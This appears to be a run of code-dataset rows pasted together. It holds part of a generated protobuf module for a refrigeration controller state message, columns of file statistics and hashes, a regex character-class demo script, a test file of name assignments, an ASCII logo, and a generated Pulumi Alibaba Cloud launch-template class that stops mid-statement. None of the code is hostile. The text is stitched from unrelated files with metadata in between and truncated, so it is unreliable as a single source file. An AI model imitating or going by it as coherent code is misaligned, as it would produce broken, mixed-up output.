name='Hd5', full_name='xbospb.ParkerState.Hd5', index=76,
number=77, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='Hd6', full_name='xbospb.ParkerState.Hd6', index=77,
number=78, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='time', full_name='xbospb.ParkerState.time', index=78,
number=79, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=46,
serialized_end=3131,
)
_PARKERSTATE.fields_by_name['compressor_working_hours'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['on_standby_status'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['light_status'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['aux_output_status'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['next_defrost_counter'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['door_switch_input_status'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['multipurpose_input_status'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['compressor_status'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['output_defrost_status'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['fans_status'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['output_k4_status'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['cabinet_temperature'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['evaporator_temperature'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['auxiliary_temperature'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['probe1_failure_alarm'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['probe2_failure_alarm'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['probe3_failure_alarm'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['minimum_temperature_alarm'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['maximum_temperture_alarm'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['condensor_temperature_failure_alarm'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['condensor_pre_alarm'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['door_alarm'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['multipurpose_input_alarm'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['compressor_blocked_alarm'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['power_failure_alarm'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['rtc_error_alarm'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['energy_saving_regulator_flag'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['energy_saving_real_time_regulator_flag'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['service_request_regulator_flag'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['on_standby_regulator_flag'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['new_alarm_to_read_regulator_flag'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['defrost_status_regulator_flag'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['active_setpoint'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['time_until_defrost'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['current_defrost_counter'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['compressor_delay'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['num_alarms_in_history'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['energy_saving_status'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['service_request_status'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['resistors_activated_by_aux_key_status'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['evaporator_valve_state'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['output_defrost_state'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['output_lux_state'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['output_aux_state'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['resistors_state'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['output_alarm_state'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['second_compressor_state'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['setpoint'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['r1'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['r2'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['r4'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['C0'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['C1'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['d0'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['d3'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['d5'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['d7'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['d8'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['A0'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['A1'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['A2'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['A3'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['A4'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['A5'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['A6'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['A7'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['A8'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['A9'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['F0'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['F1'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['F2'].message_type = nullabletypes__pb2._INT64
_PARKERSTATE.fields_by_name['F3'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['Hd1'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['Hd2'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['Hd3'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['Hd4'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['Hd5'].message_type = nullabletypes__pb2._DOUBLE
_PARKERSTATE.fields_by_name['Hd6'].message_type = nullabletypes__pb2._DOUBLE
DESCRIPTOR.message_types_by_name['ParkerState'] = _PARKERSTATE
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
ParkerState = _reflection.GeneratedProtocolMessageType('ParkerState', (_message.Message,), dict(
DESCRIPTOR = _PARKERSTATE,
__module__ = 'parker_pb2'
# @@protoc_insertion_point(class_scope:xbospb.ParkerState)
))
_sym_db.RegisterMessage(ParkerState)
# @@protoc_insertion_point(module_scope)
| 62.306034
| 5,268
| 0.766309
| 6,018
| 43,365
| 5.197906
| 0.062479
| 0.060868
| 0.054378
| 0.063937
| 0.817109
| 0.785876
| 0.749017
| 0.741984
| 0.722707
| 0.637831
| 0
| 0.058738
| 0.115485
| 43,365
| 695
| 5,269
| 62.395683
| 0.756785
| 0.004773
| 0
| 0.594675
| 1
| 0.004438
| 0.137213
| 0.112301
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.008876
| 0
| 0.008876
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
353da9b75917bb67beb57600dd1912c6dbbda3c2
| 1,729
|
py
|
Python
|
Chapter 06/Chap06_Example6.4.py
|
bpbpublications/Programming-Techniques-using-Python
|
49b785f37e95a3aad1d36cef51e219ac56e5e9f0
|
[
"MIT"
] | null | null | null |
Chapter 06/Chap06_Example6.4.py
|
bpbpublications/Programming-Techniques-using-Python
|
49b785f37e95a3aad1d36cef51e219ac56e5e9f0
|
[
"MIT"
] | null | null | null |
Chapter 06/Chap06_Example6.4.py
|
bpbpublications/Programming-Techniques-using-Python
|
49b785f37e95a3aad1d36cef51e219ac56e5e9f0
|
[
"MIT"
] | null | null | null |
import re
mymatcher = re.finditer('[xyz]','djx&AI#82%3U')
for loop in mymatcher:
print(loop.start(), '.....', loop.group()) # CC1
print("------------------")
mymatcher = re.finditer('[^xyz]','djx&AI#82%3U')
for loop in mymatcher:
print(loop.start(), '.....', loop.group()) # CC2
print("------------------")
mymatcher = re.finditer('[a-z]','djx&AI#82%3U')
for loop in mymatcher:
print(loop.start(), '.....', loop.group()) # CC3
print("------------------")
mymatcher = re.finditer('[A-Z]','djx&AI#82%3U')
for loop in mymatcher:
print(loop.start(), '.....', loop.group()) # CC4
print("------------------")
mymatcher = re.finditer('[a-zA-Z]','djx&AI#82%3U')
for loop in mymatcher:
print(loop.start(), '.....', loop.group()) # CC5
print("------------------")
mymatcher = re.finditer('[0-9]','djx&AI#82%3U')
for loop in mymatcher:
print(loop.start(), '.....', loop.group()) # CC6
print("------------------")
mymatcher = re.finditer('[0-6][0-9]','djx&AI#82%3U1059')
for loop in mymatcher:
print(loop.start(), '.....', loop.group()) # CC7
print("------------------")
mymatcher = re.finditer('[aeiou]','djx&AI#82%3U')
for loop in mymatcher:
print(loop.start(), '.....', loop.group()) # CC8
print("------------------")
mymatcher = re.finditer('[^aeiou]','djx&AI#82%3U')
for loop in mymatcher:
print(loop.start(), '.....', loop.group()) # CC9
print("------------------")
mymatcher = re.finditer('[a-zA-Z0-9]','djx&AI#82%3U')
for loop in mymatcher:
print(loop.start(), '.....', loop.group()) # CC10
print("------------------")
mymatcher = re.finditer('[^a-zA-Z0-9]','djx&AI#82%3U')
for loop in mymatcher:
print(loop.start(), '.....', loop.group()) # CC11
| 39.295455
| 57
| 0.519375
| 224
| 1,729
| 4.008929
| 0.15625
| 0.134744
| 0.232739
| 0.22049
| 0.938753
| 0.873051
| 0.842984
| 0.842984
| 0.842984
| 0.797327
| 0
| 0.040027
| 0.133025
| 1,729
| 44
| 58
| 39.295455
| 0.559039
| 0.026027
| 0
| 0.727273
| 0
| 0
| 0.277914
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.022727
| 0
| 0.022727
| 0.477273
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 10
|
10a9749822b55335933881f65e6afbab978f9701
| 128
|
py
|
Python
|
python/testData/completion/heavyStarPropagation/lib/_pkg0/_pkg0_0/_pkg0_0_0/_pkg0_0_0_0/_pkg0_0_0_0_1/_mod0_0_0_0_1_1.py
|
jnthn/intellij-community
|
8fa7c8a3ace62400c838e0d5926a7be106aa8557
|
[
"Apache-2.0"
] | 2
|
2019-04-28T07:48:50.000Z
|
2020-12-11T14:18:08.000Z
|
python/testData/completion/heavyStarPropagation/lib/_pkg0/_pkg0_0/_pkg0_0_0/_pkg0_0_0_0/_pkg0_0_0_0_1/_mod0_0_0_0_1_1.py
|
Cyril-lamirand/intellij-community
|
60ab6c61b82fc761dd68363eca7d9d69663cfa39
|
[
"Apache-2.0"
] | 173
|
2018-07-05T13:59:39.000Z
|
2018-08-09T01:12:03.000Z
|
python/testData/completion/heavyStarPropagation/lib/_pkg0/_pkg0_0/_pkg0_0_0/_pkg0_0_0_0/_pkg0_0_0_0_1/_mod0_0_0_0_1_1.py
|
Cyril-lamirand/intellij-community
|
60ab6c61b82fc761dd68363eca7d9d69663cfa39
|
[
"Apache-2.0"
] | 2
|
2020-03-15T08:57:37.000Z
|
2020-04-07T04:48:14.000Z
|
name0_0_0_0_1_1_0 = None
name0_0_0_0_1_1_1 = None
name0_0_0_0_1_1_2 = None
name0_0_0_0_1_1_3 = None
name0_0_0_0_1_1_4 = None
| 14.222222
| 24
| 0.820313
| 40
| 128
| 1.875
| 0.175
| 0.266667
| 0.466667
| 0.533333
| 0.88
| 0.88
| 0.746667
| 0
| 0
| 0
| 0
| 0.318182
| 0.140625
| 128
| 9
| 25
| 14.222222
| 0.363636
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
10bc730f0de44c65c1817823019705ce357a2c46
| 1,474
|
py
|
Python
|
panel.py
|
iMeirewes/Discord-AIO-Panel
|
6e9acbe5cdbaa25b3bc1916c5624de56a7702832
|
[
"MIT"
] | 14
|
2021-09-19T02:50:22.000Z
|
2021-12-08T11:43:45.000Z
|
panel.py
|
meirelesbc/Discord-AIO-Panel
|
6e9acbe5cdbaa25b3bc1916c5624de56a7702832
|
[
"MIT"
] | null | null | null |
panel.py
|
meirelesbc/Discord-AIO-Panel
|
6e9acbe5cdbaa25b3bc1916c5624de56a7702832
|
[
"MIT"
] | null | null | null |
def logo():
print('\n\n\n\n\n')
print("""
.=-.-. ,-,--. _,.----. _,.---._ _ __ ,---. .-._ ,----.
_,..---._ /==/_ /,-.'- _\ .' .' - \ ,-.' , - `. .-.,.---. _,..---._ .-`.' ,`..--.' \ /==/ \ .-._ ,-.--` , \ _.-.
/==/, - \|==|, |/==/_ ,_.'/==/ , ,-' /==/_, , - \ /==/ ` \/==/, - \ /==/, - \==\-/\ \ |==|, \/ /, /==|- _.-` .-,.'|
|==| _ _\==| |\==\ \ |==|- | .|==| .=. |==|-, .=., |==| _ _\ |==| _ .=. /==/-|_\ | |==|- \| ||==| `.-.|==|, |
|==| .=. |==|- | \==\ -\ |==|_ `-' \==|_ : ;=: - |==| '=' /==| .=. | |==| , '=',\==\, - \ |==| , | -/==/_ , /|==|- |
|==|,| | -|==| ,| _\==\ ,\ |==| _ , |==| , '=' |==|- , .'|==|,| | -| |==|- '..'/==/ - ,| |==| - _ |==| .-' |==|, |
|==| '=' /==|- |/==/\/ _ |\==\. /\==\ - ,_ /|==|_ . ,'.|==| '=' / |==|, | /==/- /\ - \|==| /\ , |==|_ ,`-._|==|- `-._
|==|-, _`//==/. /\==\ - , / `-.`.___.-' '.='. - .' /==/ /\ , )==|-, _`/ /==/ - | \==\ _.\=\.-'/==/, | |- /==/ , //==/ - , ,/
`-.`.____.' `--`-` `--`---' `--`--'' `--`-`--`--'`-.`.____.' `--`---' `--` `--`./ `--`--`-----`` `--`-----'
by Meirewes""")
| 77.578947
| 146
| 0.056309
| 11
| 1,474
| 2.909091
| 0.545455
| 0.25
| 0.28125
| 0.25
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.43962
| 1,474
| 19
| 147
| 77.578947
| 0.038741
| 0
| 0
| 0
| 0
| 0.538462
| 0.970169
| 0.015593
| 0
| 0
| 0
| 0
| 0
| 1
| 0.076923
| true
| 0
| 0
| 0
| 0.076923
| 0.153846
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
5e37908bc551644d3f25fad0ea6b6165d8c02a24
| 118,334
|
py
|
Python
|
sdk/python/pulumi_alicloud/ecs/launch_template.py
|
pulumi/pulumi-alicloud
|
9c34d84b4588a7c885c6bec1f03b5016e5a41683
|
[
"ECL-2.0",
"Apache-2.0"
] | 42
|
2019-03-18T06:34:37.000Z
|
2022-03-24T07:08:57.000Z
|
sdk/python/pulumi_alicloud/ecs/launch_template.py
|
pulumi/pulumi-alicloud
|
9c34d84b4588a7c885c6bec1f03b5016e5a41683
|
[
"ECL-2.0",
"Apache-2.0"
] | 152
|
2019-04-15T21:03:44.000Z
|
2022-03-29T18:00:57.000Z
|
sdk/python/pulumi_alicloud/ecs/launch_template.py
|
pulumi/pulumi-alicloud
|
9c34d84b4588a7c885c6bec1f03b5016e5a41683
|
[
"ECL-2.0",
"Apache-2.0"
] | 3
|
2020-08-26T17:30:07.000Z
|
2021-07-05T01:37:45.000Z
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
from . import outputs
from ._inputs import *
__all__ = ['LaunchTemplateArgs', 'LaunchTemplate']
@pulumi.input_type
class LaunchTemplateArgs:
def __init__(__self__, *,
auto_release_time: Optional[pulumi.Input[str]] = None,
data_disks: Optional[pulumi.Input[Sequence[pulumi.Input['LaunchTemplateDataDiskArgs']]]] = None,
deployment_set_id: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
enable_vm_os_config: Optional[pulumi.Input[bool]] = None,
host_name: Optional[pulumi.Input[str]] = None,
image_id: Optional[pulumi.Input[str]] = None,
image_owner_alias: Optional[pulumi.Input[str]] = None,
instance_charge_type: Optional[pulumi.Input[str]] = None,
instance_name: Optional[pulumi.Input[str]] = None,
instance_type: Optional[pulumi.Input[str]] = None,
internet_charge_type: Optional[pulumi.Input[str]] = None,
internet_max_bandwidth_in: Optional[pulumi.Input[int]] = None,
internet_max_bandwidth_out: Optional[pulumi.Input[int]] = None,
io_optimized: Optional[pulumi.Input[str]] = None,
key_pair_name: Optional[pulumi.Input[str]] = None,
launch_template_name: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
network_interfaces: Optional[pulumi.Input['LaunchTemplateNetworkInterfacesArgs']] = None,
network_type: Optional[pulumi.Input[str]] = None,
password_inherit: Optional[pulumi.Input[bool]] = None,
period: Optional[pulumi.Input[int]] = None,
private_ip_address: Optional[pulumi.Input[str]] = None,
ram_role_name: Optional[pulumi.Input[str]] = None,
resource_group_id: Optional[pulumi.Input[str]] = None,
security_enhancement_strategy: Optional[pulumi.Input[str]] = None,
security_group_id: Optional[pulumi.Input[str]] = None,
security_group_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
spot_duration: Optional[pulumi.Input[str]] = None,
spot_price_limit: Optional[pulumi.Input[float]] = None,
spot_strategy: Optional[pulumi.Input[str]] = None,
system_disk: Optional[pulumi.Input['LaunchTemplateSystemDiskArgs']] = None,
system_disk_category: Optional[pulumi.Input[str]] = None,
system_disk_description: Optional[pulumi.Input[str]] = None,
system_disk_name: Optional[pulumi.Input[str]] = None,
system_disk_size: Optional[pulumi.Input[int]] = None,
tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
template_resource_group_id: Optional[pulumi.Input[str]] = None,
template_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
user_data: Optional[pulumi.Input[str]] = None,
userdata: Optional[pulumi.Input[str]] = None,
version_description: Optional[pulumi.Input[str]] = None,
vpc_id: Optional[pulumi.Input[str]] = None,
vswitch_id: Optional[pulumi.Input[str]] = None,
zone_id: Optional[pulumi.Input[str]] = None):
"""
The set of arguments for constructing a LaunchTemplate resource.
:param pulumi.Input[str] auto_release_time: Instance auto release time. The time is presented using the ISO8601 standard and in UTC time. The format is YYYY-MM-DDTHH:MM:SSZ.
:param pulumi.Input[Sequence[pulumi.Input['LaunchTemplateDataDiskArgs']]] data_disks: The list of data disks created with instance.
:param pulumi.Input[str] description: The description of the data disk.
:param pulumi.Input[str] host_name: Instance host name.It cannot start or end with a period (.) or a hyphen (-) and it cannot have two or more consecutive periods (.) or hyphens (-).For Windows: The host name can be [2, 15] characters in length. It can contain A-Z, a-z, numbers, periods (.), and hyphens (-). It cannot only contain numbers. For other operating systems: The host name can be [2, 64] characters in length. It can be segments separated by periods (.). It can contain A-Z, a-z, numbers, and hyphens (-).
:param pulumi.Input[str] image_id: Image ID.
:param pulumi.Input[str] instance_charge_type: Billing methods. Optional values:
- PrePaid: Monthly, or annual subscription. Make sure that your registered credit card is invalid or you have insufficient balance in your PayPal account. Otherwise, InvalidPayMethod error may occur.
- PostPaid: Pay-As-You-Go.
:param pulumi.Input[str] instance_name: The name of the instance. The name is a string of 2 to 128 characters. It must begin with an English or a Chinese character. It can contain A-Z, a-z, Chinese characters, numbers, periods (.), colons (:), underscores (_), and hyphens (-).
:param pulumi.Input[str] instance_type: Instance type. For more information, call resource_alicloud_instances to obtain the latest instance type list.
:param pulumi.Input[str] internet_charge_type: Internet bandwidth billing method. Optional values: `PayByTraffic` | `PayByBandwidth`.
:param pulumi.Input[int] internet_max_bandwidth_in: The maximum inbound bandwidth from the Internet network, measured in Mbit/s. Value range: [1, 200].
:param pulumi.Input[int] internet_max_bandwidth_out: Maximum outbound bandwidth from the Internet, its unit of measurement is Mbit/s. Value range: [0, 100].
:param pulumi.Input[str] io_optimized: Whether it is an I/O-optimized instance or not. Optional values:
- none
- optimized
:param pulumi.Input[str] key_pair_name: The name of the key pair.
- Ignore this parameter for Windows instances. It is null by default. Even if you enter this parameter, only the Password content is used.
- The password logon method for Linux instances is set to forbidden upon initialization.
:param pulumi.Input[str] name: The name of the data disk.
:param pulumi.Input['LaunchTemplateNetworkInterfacesArgs'] network_interfaces: The list of network interfaces created with instance.
:param pulumi.Input[str] network_type: Network type of the instance. Value options: `classic` | `vpc`.
:param pulumi.Input[str] ram_role_name: The RAM role name of the instance. You can use the RAM API ListRoles to query instance RAM role names.
:param pulumi.Input[str] security_enhancement_strategy: Whether or not to activate the security enhancement feature and install network security software free of charge. Optional values: Active | Deactive.
:param pulumi.Input[str] security_group_id: The security group ID must be one in the same VPC.
:param pulumi.Input[float] spot_price_limit: -(Optional) Sets the maximum hourly instance price. Supports up to three decimal places.
:param pulumi.Input[str] spot_strategy: The spot strategy for a Pay-As-You-Go instance. This parameter is valid and required only when InstanceChargeType is set to PostPaid. Value range:
- NoSpot: Normal Pay-As-You-Go instance.
- SpotWithPriceLimit: Sets the maximum price for a spot instance.
- SpotAsPriceGo: The system automatically calculates the price. The maximum value is the Pay-As-You-Go price.
:param pulumi.Input[str] system_disk_category: The category of the system disk. System disk type. Optional values:
- cloud: Basic cloud disk.
- cloud_efficiency: Ultra cloud disk.
- cloud_ssd: SSD cloud Disks.
- ephemeral_ssd: local SSD Disks
- cloud_essd: ESSD cloud Disks.
:param pulumi.Input[str] system_disk_description: System disk description. It cannot begin with http:// or https://.
:param pulumi.Input[str] system_disk_name: System disk name. The name is a string of 2 to 128 characters. It must begin with an English or a Chinese character. It can contain A-Z, a-z, Chinese characters, numbers, periods (.), colons (:), underscores (_), and hyphens (-).
:param pulumi.Input[int] system_disk_size: Size of the system disk, measured in GB. Value range: [20, 500].
:param pulumi.Input[Mapping[str, Any]] tags: A mapping of tags to assign to the resource.
- Key: It can be up to 64 characters in length. It cannot begin with "aliyun", "acs:", "http://", or "https://". It cannot be a null string.
- Value: It can be up to 128 characters in length. It cannot begin with "aliyun", "acs:", "http://", or "https://". It can be a null string.
:param pulumi.Input[str] userdata: User data of the instance, which is Base64-encoded. Size of the raw data cannot exceed 16 KB.
:param pulumi.Input[str] vswitch_id: The VSwitch ID for ENI. The instance must be in the same zone of the same VPC network as the ENI, but they may belong to different VSwitches.
:param pulumi.Input[str] zone_id: The zone ID of the instance.
"""
if auto_release_time is not None:
pulumi.set(__self__, "auto_release_time", auto_release_time)
if data_disks is not None:
pulumi.set(__self__, "data_disks", data_disks)
if deployment_set_id is not None:
pulumi.set(__self__, "deployment_set_id", deployment_set_id)
if description is not None:
pulumi.set(__self__, "description", description)
if enable_vm_os_config is not None:
pulumi.set(__self__, "enable_vm_os_config", enable_vm_os_config)
if host_name is not None:
pulumi.set(__self__, "host_name", host_name)
if image_id is not None:
pulumi.set(__self__, "image_id", image_id)
if image_owner_alias is not None:
pulumi.set(__self__, "image_owner_alias", image_owner_alias)
if instance_charge_type is not None:
pulumi.set(__self__, "instance_charge_type", instance_charge_type)
if instance_name is not None:
pulumi.set(__self__, "instance_name", instance_name)
if instance_type is not None:
pulumi.set(__self__, "instance_type", instance_type)
if internet_charge_type is not None:
pulumi.set(__self__, "internet_charge_type", internet_charge_type)
if internet_max_bandwidth_in is not None:
pulumi.set(__self__, "internet_max_bandwidth_in", internet_max_bandwidth_in)
if internet_max_bandwidth_out is not None:
pulumi.set(__self__, "internet_max_bandwidth_out", internet_max_bandwidth_out)
if io_optimized is not None:
pulumi.set(__self__, "io_optimized", io_optimized)
if key_pair_name is not None:
pulumi.set(__self__, "key_pair_name", key_pair_name)
if launch_template_name is not None:
pulumi.set(__self__, "launch_template_name", launch_template_name)
if name is not None:
warnings.warn("""Field 'name' has been deprecated from provider version 1.120.0. New field 'launch_template_name' instead.""", DeprecationWarning)
pulumi.log.warn("""name is deprecated: Field 'name' has been deprecated from provider version 1.120.0. New field 'launch_template_name' instead.""")
if name is not None:
pulumi.set(__self__, "name", name)
if network_interfaces is not None:
pulumi.set(__self__, "network_interfaces", network_interfaces)
if network_type is not None:
pulumi.set(__self__, "network_type", network_type)
if password_inherit is not None:
pulumi.set(__self__, "password_inherit", password_inherit)
if period is not None:
pulumi.set(__self__, "period", period)
if private_ip_address is not None:
pulumi.set(__self__, "private_ip_address", private_ip_address)
if ram_role_name is not None:
pulumi.set(__self__, "ram_role_name", ram_role_name)
if resource_group_id is not None:
pulumi.set(__self__, "resource_group_id", resource_group_id)
if security_enhancement_strategy is not None:
pulumi.set(__self__, "security_enhancement_strategy", security_enhancement_strategy)
if security_group_id is not None:
pulumi.set(__self__, "security_group_id", security_group_id)
if security_group_ids is not None:
pulumi.set(__self__, "security_group_ids", security_group_ids)
if spot_duration is not None:
pulumi.set(__self__, "spot_duration", spot_duration)
if spot_price_limit is not None:
pulumi.set(__self__, "spot_price_limit", spot_price_limit)
if spot_strategy is not None:
pulumi.set(__self__, "spot_strategy", spot_strategy)
if system_disk is not None:
pulumi.set(__self__, "system_disk", system_disk)
if system_disk_category is not None:
warnings.warn("""Field 'system_disk_category' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""", DeprecationWarning)
pulumi.log.warn("""system_disk_category is deprecated: Field 'system_disk_category' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""")
if system_disk_category is not None:
pulumi.set(__self__, "system_disk_category", system_disk_category)
if system_disk_description is not None:
warnings.warn("""Field 'system_disk_description' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""", DeprecationWarning)
pulumi.log.warn("""system_disk_description is deprecated: Field 'system_disk_description' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""")
if system_disk_description is not None:
pulumi.set(__self__, "system_disk_description", system_disk_description)
if system_disk_name is not None:
warnings.warn("""Field 'system_disk_name' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""", DeprecationWarning)
pulumi.log.warn("""system_disk_name is deprecated: Field 'system_disk_name' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""")
if system_disk_name is not None:
pulumi.set(__self__, "system_disk_name", system_disk_name)
if system_disk_size is not None:
warnings.warn("""Field 'system_disk_size' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""", DeprecationWarning)
pulumi.log.warn("""system_disk_size is deprecated: Field 'system_disk_size' has been deprecated from provider version 1.120.0. New field 'system_disk' instead.""")
if system_disk_size is not None:
pulumi.set(__self__, "system_disk_size", system_disk_size)
if tags is not None:
pulumi.set(__self__, "tags", tags)
if template_resource_group_id is not None:
pulumi.set(__self__, "template_resource_group_id", template_resource_group_id)
if template_tags is not None:
pulumi.set(__self__, "template_tags", template_tags)
if user_data is not None:
pulumi.set(__self__, "user_data", user_data)
if userdata is not None:
